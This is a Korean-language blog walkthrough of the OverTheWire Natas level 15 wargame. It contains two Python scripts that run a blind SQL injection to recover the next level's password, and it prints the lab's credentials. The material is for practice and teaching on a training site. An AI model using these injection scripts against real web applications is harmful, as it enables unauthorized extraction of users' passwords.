Username: natas15
URL: http://natas15.natas.labs.overthewire.org
접속했을 때 화면:

이번에도 username을 입력하는 칸이 있다.
소스코드를 보면,

참/거짓인 구문이 되도록 입력하면 유저의 존재만 알려준다.
따라서 Blind SQL injection을 해야한다.
natas16을 username 칸에 입력했을 때 해당 유저가 존재한다고 출력되었으므로
natas16의 패스워드를 알아낼 스크립트를 작성하자.
패스워드 문자열이 최대 64자리라고 했으니까, 브루트포싱하는 스크립트를 썼다.
1. 패스워드를 이루는 문자 목록 뽑기
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
import string
url = 'http://natas15.natas.labs.overthewire.org/'
username = "natas15"
password = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
characters = ''.join([string.digits, string.ascii_letters])
passchar = []
exists_str = "This user exists."
for c in characters:
url_query = ''.join([url, '?', 'username=natas16"',
'+and+password+LIKE+BINARY+"%', c, '%', '&debug'])
r = requests.get(url_query, auth=(username, password))
if exists_str in r.text:
passchar.append(c)
print("> {0}".format(''.join(passchar)))
print("Character List: {0}".format(''.join(passchar)))
|
cs |
requests 라이브러리를 임포트하면 HTTP 요청을 보내고 응답 받을 수 있다.
7 : 모든 숫자와 알파벳 문자열로 저장. string 모듈에서 제공하는 숫자와 알파벳 문자열 결합.
11~14 : 반복변수 c를 이용하여 characters 문자열의 각 문자를 순회하는 루프 시작하는데, natas16의 패스워드를 브루트 포싱하는 url 생성한다. 이 때 natas15의 인증정보(4~6)를 담아 GET 요청을 보낸다.
15~17 : 응답 텍스트에 exists_str 문자열이 포함되어 있다면 현재 검사 중인 문자 'c'를 passchar 리스트에 추가하여 현재까지 찾아낸 문자들과 함께 출력.
18 : 최종적으로 찾아낸 문자들 출력

패스워드를 이루는 문자열은 "23579adfgijklqruADEHOPRTVZ"이다.
이제 이 문자열을 가지고 패스워드에 한 자리씩 대입해서 맞는 문자를 패스워드에 추가되게 만든다.
2. 패스워드 출력
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import requests
url = 'http://natas15.natas.labs.overthewire.org/'
username = "natas15"
password = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"
exists_str = "This user exists."
char_txt = "23579adfgijklqruADEHOPRTVZ"
char_list = list(char_txt)
password_list = []
secret = ''
for place in range(1, 65):
print("Character# {}".format(str(place)))
found = False
for char in char_list:
temp = secret + char
test_url = ''.join([url, '?', 'username=natas16"',
'+and+password+LIKE+BINARY+"', temp, '%', '&debug'])
r = requests.get(test_url, auth=(username, password))
if exists_str in r.text:
secret = temp
print("password: {}".format(secret))
found = True
break
if not found:
print("No matching character found for position {}".format(place))
break
|
cs |
패스워드 문자열 뽑는 스크립트를 조금만 수정하면 된다.

'Wargame > natas' 카테고리의 다른 글
Natas Level 17 풀이 (0) | 2024.04.13 |
---|---|
Natas Level 16 풀이 (0) | 2024.04.08 |
Natas Level 14 풀이 (0) | 2023.07.30 |
Natas Level 13 풀이 (0) | 2023.07.22 |
Natas Level 12 풀이 (0) | 2023.07.15 |